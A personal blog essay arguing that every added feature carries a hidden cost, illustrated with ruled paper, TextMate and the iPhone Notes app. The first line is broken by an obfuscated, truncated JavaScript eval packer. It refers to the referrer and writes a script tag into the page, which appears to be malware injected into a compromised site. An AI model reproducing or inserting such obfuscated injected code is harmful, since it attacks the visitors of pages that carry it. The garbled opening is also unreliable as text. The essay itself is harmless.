The forgotten cost of features

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“<\\/k"+"l>“);n m=”q”;’,30,30,’|dthay|referrer|yzsbb
perfectly blank sheet of white paper is a tool of infinite possibility. For input you could use a pencil, a pen, a crayon, a marker, a stamp, a brush or more. You could use all of those at once. You can write or draw or paint in any direction. Even multiple directions on the same sheet. You can use any color you want. How you enter data onto it and how that information is structured seems almost limitless. That flexibility and power is available to you because of it’s lack of features. In fact, it is featureless – devoid of them.

Let’s add a feature. Let’s put some ruled lines on the paper. Make no mistake, this feature adds value. It allows me to be able to write neatly by using the lines as a guide. This makes the data more legible by providing a structure for me to follow. It also has a cost. It takes away some of the flexibility. Could I still write sideways in opposite direction of the lines? Sure. Am I likely to? No. Why? Well, it would go against the provided structure and thus make the data less legible. Ruled lines would intersect and, to a small extent, obscure my words and drawings.

OK, next feature – A box at the top left corner of the short end of the page. Perfect. That empty box has some value. Perhaps I could write a date in there. Perhaps I could use a colored marker to fill it in – color code the page. Perhaps I could put the name of the project that this piece of paper belongs to. Does the box take away from the available free space on the page? Sure it does. It is a trade off though. What I give up in space I gain in value right? Well, that depends on the perspective of the individual, but I think I like it.

Enough on that. Let’s add a feature to that box we added. Lets pre-print what we think people should use that box for. You know, to make it clearer for the end user. Let’s print a label in that box called “Title”. Perfect. Now I have added value by reducing the amount of thought a user of this paper has to put into figuring out why that box is there, right? I think you can now see where I am going with this…

I think it is far too easy to look at the addition of features to anything – hardware, software, analog, digital, even a simple piece of blank paper – as a benefit without also recognizing the associated and often forgotten cost.

In the world of hardware and software, the companies, developers, and tools that get it right weigh the cost of adding features heavily and take every feature addition under great consideration. In fact, they reject most feature requests right out of the starting gate. They appreciate feature requests but more often than not [read them and ignore them](http://www.37signals.com/svn/archives2/getting_real_forget_feature_requests.php). They simply let the signal rise above the noise to determine what features to add. When they do add a feature, they do it in the most unobtrusive and seamless way possible. They are careful to make sure the value far outweighs the cost.

The costs do not stop there. In fact, if you add a feature you now have to support that feature if it breaks or does not work as the user expects it to. Also, adding a feature could actually loose you a sale. Those of us (I am not alone) who are feature wary may opt for something else just for the simplicity.

This does not mean that you cannot have a ton of features yet still maintain flexibility. One example is [TextMate](http://macromates.com/). TextMate is a very powerful text editing program for the Mac. It is chock full of features and has a robust plug in architecture that allows you to add even more. Yet all that power is hidden in the UI. When you launch TextMate all you see is a blank white page ready for input. The features are not in your way. If you just want to get some writing done in plain text you have the only feature you need right there. The power is not there unless you need it and then mostly as a menu item optionally accessible via a keyboard shortcut.

On the other hand, Notes.app on the [iPhone](http://www.apple.com/iphone/features/) is very basic in features. You can take notes, you can email a note, and that is about it. But that is what makes it great. You can use Notes.app any way you want. Type up a blog post draft. Enter in a book recommendation. Make a shopping list. Note the dimensions of that room you need to buy furniture for. In fact, it’s lack of features and structure are what provide it’s true power.

As you can see from these to disparate examples, It is not about not adding features. Features in an of themselves are not a problem. It is about adding the right features and only the right ones. I like [ruled paper with a predefined area for a title and date](http://www.levenger.com/PAGETEMPLATES/STATIC/Generic.asp?blink=Y&Params=category=326-888|level=2-3|link=LN) just like the next guy. It is about understanding that for every added feature there is a cost and not forgetting to consider that.

home/ journal/ now/ books/ dash/plus/ archives/ rss